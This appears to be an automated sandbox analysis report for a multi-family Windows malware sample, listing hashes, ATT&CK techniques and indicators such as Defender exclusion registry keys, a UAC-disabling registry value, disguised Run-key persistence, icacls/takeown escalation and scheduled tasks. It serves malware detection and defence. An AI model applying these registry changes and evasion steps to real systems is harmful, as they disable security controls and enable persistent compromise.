1c7c8a407f3a6b37f7734b21ef169fc8b79d9fc6117e9b89741bbba89e9ae4c8

Analysis

max time kernel
150s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
16/09/2026, 18:13

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-09-16_abf64ff2e0a99380417a81c10f3fa8d0_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
Size 24.6MB
Sample260916-wt6ngsys5l
SHA256 1c7c8a407f3a6b37f7734b21ef169fc8b79d9fc6117e9b89741bbba89e9ae4c8
MD5 abf64ff2e0a99380417a81c10f3fa8d0
SHA1 c1d23e14ae7b4dea04eceda061d3fd602a28ccbe
SHA512 53ad0db4b2900660e579a23d15cc239f8b6e48278d711d2ee156a35352fabdf37457f3f6be2151e0e78c0bc3a8e649e32d5858ae70f1e28bd9ad80dc0d0314f8
SSDEEP 98304:Ks0VysGFMb1oG4QOye2F3+CMkBZ76Ya227tE:XsyT/QMIHP
TLSH
T1D747B59AB740CD83F517E23694679BF02326ECB48BB1934321917F59BF7E1898EE1184
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution exploit persistence privilege_escalation trojan upx

Malware Config

Signatures

UAC bypass 3 TTPs 2 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	GrOcS3OF.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	3Ew4PB.exe

Windows security bypass 2 TTPs 12 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\3Ew4PB = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\nW1pr0 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe

Detects executables calling ClearMyTracksByProcess 1 IoCs

resource	yara_rule
behavioral1/memory/4444-705-0x0000000010000000-0x0000000010061000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_ClearMyTracksByProcess

Detects executables containing artifacts associated with disabling Widnows Defender 8 IoCs

resource	yara_rule
behavioral1/memory/4444-680-0x00000000036D0000-0x0000000003EAD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/4444-676-0x00000000036D0000-0x0000000003EAD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/4444-699-0x00000000036D0000-0x0000000003EAD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/4444-728-0x00000000036D0000-0x0000000003EAD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/3112-739-0x0000000003360000-0x0000000003B3D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/392-743-0x0000000002D80000-0x000000000355D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/4444-748-0x00000000036D0000-0x0000000003EAD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/1876-847-0x0000000003030000-0x000000000380D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender

UPX dump on OEP (original entry point) 3 IoCs

resource	yara_rule
behavioral1/files/0x00070000000244e0-774.dat	UPX
behavioral1/memory/2880-785-0x0000000000400000-0x000000000053F000-memory.dmp	UPX
behavioral1/memory/2880-810-0x0000000000400000-0x000000000053F000-memory.dmp	UPX

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3324	powershell.exe
3264	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	3Ew4PB.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001

Possible privilege escalation attempt 23 IoCs

exploit

pid	Process
852	icacls.exe
3176	icacls.exe
5032	icacls.exe
3500	icacls.exe
3016	icacls.exe
2596	icacls.exe
4536	icacls.exe
1784	icacls.exe
3816	icacls.exe
4772	takeown.exe
4856	icacls.exe
4328	icacls.exe
3016	icacls.exe
3116	icacls.exe
1108	icacls.exe
4084	icacls.exe
4224	takeown.exe
1216	icacls.exe
176	icacls.exe
4456	icacls.exe
2736	icacls.exe
1052	icacls.exe
768	icacls.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\International\Geo\Nation	3Ew4PB.exe
Key value queried	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\International\Geo\Nation	kNKnLl.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 10 IoCs

pid	Process
2344	kNKnLl.exe
4944	kNKnLl.exe
4444	3Ew4PB.exe
392	3Ew4PB.exe
3112	5V7kb.exe
2876	HB6rIfmK.exe
2880	GrOcS3OF.exe
3076	yHDc9ZDz.exe
1876	5V7kb.exe
4456	3Ew4PB.exe

Loads dropped DLL 7 IoCs

pid	Process
2344	kNKnLl.exe
4944	kNKnLl.exe
4444	3Ew4PB.exe
392	3Ew4PB.exe
3112	5V7kb.exe
1876	5V7kb.exe
4456	3Ew4PB.exe

Modifies file permissions 1 TTPs 23 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3176	icacls.exe
3816	icacls.exe
4456	icacls.exe
176	icacls.exe
4772	takeown.exe
4224	takeown.exe
3116	icacls.exe
4328	icacls.exe
768	icacls.exe
4536	icacls.exe
1784	icacls.exe
2596	icacls.exe
5032	icacls.exe
3500	icacls.exe
2736	icacls.exe
4084	icacls.exe
3016	icacls.exe
1216	icacls.exe
1108	icacls.exe
852	icacls.exe
4856	icacls.exe
1052	icacls.exe
3016	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\nW1pr0\\kNKnLl.exe\""	kNKnLl.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\3Ew4PB\\3Ew4PB.exe\""	3Ew4PB.exe

Indicator Removal: Clear Persistence 1 TTPs 10 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
4212	cmd.exe
4300	cmd.exe
4680	cmd.exe
1008	cmd.exe
3720	cmd.exe
2192	cmd.exe
4720	cmd.exe
1920	cmd.exe
4360	cmd.exe
460	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	kNKnLl.exe

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00070000000244e0-774.dat	upx
behavioral1/memory/2880-785-0x0000000000400000-0x000000000053F000-memory.dmp	upx
behavioral1/files/0x00070000000244e8-806.dat	upx
behavioral1/memory/3076-809-0x00007FF60ABD0000-0x00007FF60AFFF000-memory.dmp	upx
behavioral1/memory/2880-810-0x0000000000400000-0x000000000053F000-memory.dmp	upx
behavioral1/memory/3076-841-0x00007FF60ABD0000-0x00007FF60AFFF000-memory.dmp	upx

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\1d9Zpd8\5V7kb.exe	3Ew4PB.exe
File created	C:\Program Files (x86)\1d9Zpd8\thumbs.db	3Ew4PB.exe
File opened for modification	C:\Program Files (x86)\3Ew4PB	kNKnLl.exe
File opened for modification	C:\Program Files (x86)\3Ew4PB\XPSPLOG.dll	kNKnLl.exe
File opened for modification	C:\Program Files (x86)\3Ew4PB\image.png	kNKnLl.exe
File opened for modification	C:\Program Files (x86)\1d9Zpd8\image.png	3Ew4PB.exe
File opened for modification	C:\Program Files (x86)\1d9Zpd8\thumbs.db	3Ew4PB.exe
File created	C:\Program Files (x86)\1d9Zpd8\XPSPLOG.dll	3Ew4PB.exe
File created	C:\Program Files (x86)\3Ew4PB\3Ew4PB.exe	kNKnLl.exe
File created	C:\Program Files (x86)\3Ew4PB\image.png	kNKnLl.exe
File created	C:\Program Files (x86)\1d9Zpd8\5V7kb.exe	3Ew4PB.exe
File created	C:\Program Files (x86)\1d9Zpd8\image.png	3Ew4PB.exe
File opened for modification	C:\Program Files (x86)\1d9Zpd8\XPSPLOG.dll	3Ew4PB.exe
File created	C:\Program Files (x86)\3Ew4PB\XPSPLOG.dll	kNKnLl.exe
File created	C:\Program Files (x86)\3Ew4PB\thumbs.db	kNKnLl.exe
File opened for modification	C:\Program Files (x86)\3Ew4PB\3Ew4PB.exe	kNKnLl.exe
File opened for modification	C:\Program Files (x86)\3Ew4PB\thumbs.db	kNKnLl.exe
File opened for modification	C:\Program Files (x86)\1d9Zpd8	3Ew4PB.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4368	sc.exe
2240	sc.exe
508	sc.exe
4272	sc.exe
2292	sc.exe
1112	sc.exe
4716	sc.exe
4600	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

persistence privilege_escalation

Screensaver

T1546.002

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	3Ew4PB.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\Desktop\SCRNSAVE.EXE	3Ew4PB.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\Desktop\ScreenSaveActive = "0"	3Ew4PB.exe

Executes a command shell one-liner 1 TTPs 24 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4952	cmd.exe
3176	cmd.exe
1780	cmd.exe
60	cmd.exe
2760	cmd.exe
2140	cmd.exe
3044	cmd.exe
4236	cmd.exe
3280	cmd.exe
4216	cmd.exe
3164	cmd.exe
4384	cmd.exe
1708	cmd.exe
1392	cmd.exe
4812	cmd.exe
3100	cmd.exe
4948	cmd.exe
2176	cmd.exe
4080	cmd.exe
2704	cmd.exe
636	cmd.exe
740	cmd.exe
4572	cmd.exe
1812	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	GrOcS3OF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3Ew4PB.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	5V7kb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3Ew4PB.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	3Ew4PB.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	3Ew4PB.exe

Modifies Control Panel 4 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\Desktop\ScreenSaveActive = "0"	3Ew4PB.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	3Ew4PB.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0"	3Ew4PB.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\Desktop\SCRNSAVE.EXE	3Ew4PB.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	kNKnLl.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4904	schtasks.exe
4632	schtasks.exe
4692	schtasks.exe
736	schtasks.exe
2508	schtasks.exe
1400	schtasks.exe
4896	schtasks.exe
3164	schtasks.exe
4324	schtasks.exe
2240	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4512	2026-09-16_abf64ff2e0a99380417a81c10f3fa8d0_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4512	2026-09-16_abf64ff2e0a99380417a81c10f3fa8d0_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4512	2026-09-16_abf64ff2e0a99380417a81c10f3fa8d0_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4512	2026-09-16_abf64ff2e0a99380417a81c10f3fa8d0_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4512	2026-09-16_abf64ff2e0a99380417a81c10f3fa8d0_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4512	2026-09-16_abf64ff2e0a99380417a81c10f3fa8d0_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4512	2026-09-16_abf64ff2e0a99380417a81c10f3fa8d0_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4512	2026-09-16_abf64ff2e0a99380417a81c10f3fa8d0_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4512	2026-09-16_abf64ff2e0a99380417a81c10f3fa8d0_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4512	2026-09-16_abf64ff2e0a99380417a81c10f3fa8d0_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4512	2026-09-16_abf64ff2e0a99380417a81c10f3fa8d0_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4512	2026-09-16_abf64ff2e0a99380417a81c10f3fa8d0_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4512	2026-09-16_abf64ff2e0a99380417a81c10f3fa8d0_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4512	2026-09-16_abf64ff2e0a99380417a81c10f3fa8d0_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4512	2026-09-16_abf64ff2e0a99380417a81c10f3fa8d0_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4512	2026-09-16_abf64ff2e0a99380417a81c10f3fa8d0_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4512	2026-09-16_abf64ff2e0a99380417a81c10f3fa8d0_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4512	2026-09-16_abf64ff2e0a99380417a81c10f3fa8d0_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4512	2026-09-16_abf64ff2e0a99380417a81c10f3fa8d0_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4512	2026-09-16_abf64ff2e0a99380417a81c10f3fa8d0_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4512	2026-09-16_abf64ff2e0a99380417a81c10f3fa8d0_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4512	2026-09-16_abf64ff2e0a99380417a81c10f3fa8d0_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4512	2026-09-16_abf64ff2e0a99380417a81c10f3fa8d0_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4512	2026-09-16_abf64ff2e0a99380417a81c10f3fa8d0_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4512	2026-09-16_abf64ff2e0a99380417a81c10f3fa8d0_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4512	2026-09-16_abf64ff2e0a99380417a81c10f3fa8d0_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4512	2026-09-16_abf64ff2e0a99380417a81c10f3fa8d0_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4512	2026-09-16_abf64ff2e0a99380417a81c10f3fa8d0_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4512	2026-09-16_abf64ff2e0a99380417a81c10f3fa8d0_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4512	2026-09-16_abf64ff2e0a99380417a81c10f3fa8d0_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4512	2026-09-16_abf64ff2e0a99380417a81c10f3fa8d0_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4512	2026-09-16_abf64ff2e0a99380417a81c10f3fa8d0_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
2344	kNKnLl.exe
2344	kNKnLl.exe
2344	kNKnLl.exe
2344	kNKnLl.exe
2344	kNKnLl.exe
2344	kNKnLl.exe
2344	kNKnLl.exe
2344	kNKnLl.exe
2344	kNKnLl.exe
2344	kNKnLl.exe
2344	kNKnLl.exe
2344	kNKnLl.exe
2344	kNKnLl.exe
2344	kNKnLl.exe
2344	kNKnLl.exe
2344	kNKnLl.exe
2344	kNKnLl.exe
2344	kNKnLl.exe
2344	kNKnLl.exe
2344	kNKnLl.exe
2344	kNKnLl.exe
2344	kNKnLl.exe
2344	kNKnLl.exe
2344	kNKnLl.exe
2344	kNKnLl.exe
2344	kNKnLl.exe
2344	kNKnLl.exe
2344	kNKnLl.exe
2344	kNKnLl.exe
2344	kNKnLl.exe
2344	kNKnLl.exe
2344	kNKnLl.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeRestorePrivilege	4444	3Ew4PB.exe
Token: SeDebugPrivilege	2876	HB6rIfmK.exe
Token: SeLockMemoryPrivilege	3076	yHDc9ZDz.exe
Token: SeLockMemoryPrivilege	3076	yHDc9ZDz.exe
Token: SeDebugPrivilege	3264	powershell.exe
Token: SeTakeOwnershipPrivilege	4772	takeown.exe
Token: SeRestorePrivilege	4084	icacls.exe
Token: SeTakeOwnershipPrivilege	4224	takeown.exe
Token: SeRestorePrivilege	3016	icacls.exe
Token: SeDebugPrivilege	3324	powershell.exe
Token: SeIncreaseQuotaPrivilege	3324	powershell.exe
Token: SeSecurityPrivilege	3324	powershell.exe
Token: SeTakeOwnershipPrivilege	3324	powershell.exe
Token: SeLoadDriverPrivilege	3324	powershell.exe
Token: SeSystemProfilePrivilege	3324	powershell.exe
Token: SeSystemtimePrivilege	3324	powershell.exe
Token: SeProfSingleProcessPrivilege	3324	powershell.exe
Token: SeIncBasePriorityPrivilege	3324	powershell.exe
Token: SeCreatePagefilePrivilege	3324	powershell.exe
Token: SeBackupPrivilege	3324	powershell.exe
Token: SeRestorePrivilege	3324	powershell.exe
Token: SeShutdownPrivilege	3324	powershell.exe
Token: SeDebugPrivilege	3324	powershell.exe
Token: SeSystemEnvironmentPrivilege	3324	powershell.exe
Token: SeRemoteShutdownPrivilege	3324	powershell.exe
Token: SeUndockPrivilege	3324	powershell.exe
Token: SeManageVolumePrivilege	3324	powershell.exe
Token: 33	3324	powershell.exe
Token: 34	3324	powershell.exe
Token: 35	3324	powershell.exe
Token: 36	3324	powershell.exe
Token: SeIncreaseQuotaPrivilege	3324	powershell.exe
Token: SeSecurityPrivilege	3324	powershell.exe
Token: SeTakeOwnershipPrivilege	3324	powershell.exe
Token: SeLoadDriverPrivilege	3324	powershell.exe
Token: SeSystemProfilePrivilege	3324	powershell.exe
Token: SeSystemtimePrivilege	3324	powershell.exe
Token: SeProfSingleProcessPrivilege	3324	powershell.exe
Token: SeIncBasePriorityPrivilege	3324	powershell.exe
Token: SeCreatePagefilePrivilege	3324	powershell.exe
Token: SeBackupPrivilege	3324	powershell.exe
Token: SeRestorePrivilege	3324	powershell.exe
Token: SeShutdownPrivilege	3324	powershell.exe
Token: SeDebugPrivilege	3324	powershell.exe
Token: SeSystemEnvironmentPrivilege	3324	powershell.exe
Token: SeRemoteShutdownPrivilege	3324	powershell.exe
Token: SeUndockPrivilege	3324	powershell.exe
Token: SeManageVolumePrivilege	3324	powershell.exe
Token: 33	3324	powershell.exe
Token: 34	3324	powershell.exe
Token: 35	3324	powershell.exe
Token: 36	3324	powershell.exe
Token: SeIncreaseQuotaPrivilege	3324	powershell.exe
Token: SeSecurityPrivilege	3324	powershell.exe
Token: SeTakeOwnershipPrivilege	3324	powershell.exe
Token: SeLoadDriverPrivilege	3324	powershell.exe
Token: SeSystemProfilePrivilege	3324	powershell.exe
Token: SeSystemtimePrivilege	3324	powershell.exe
Token: SeProfSingleProcessPrivilege	3324	powershell.exe
Token: SeIncBasePriorityPrivilege	3324	powershell.exe
Token: SeCreatePagefilePrivilege	3324	powershell.exe
Token: SeBackupPrivilege	3324	powershell.exe
Token: SeRestorePrivilege	3324	powershell.exe
Token: SeShutdownPrivilege	3324	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2880	GrOcS3OF.exe
2880	GrOcS3OF.exe

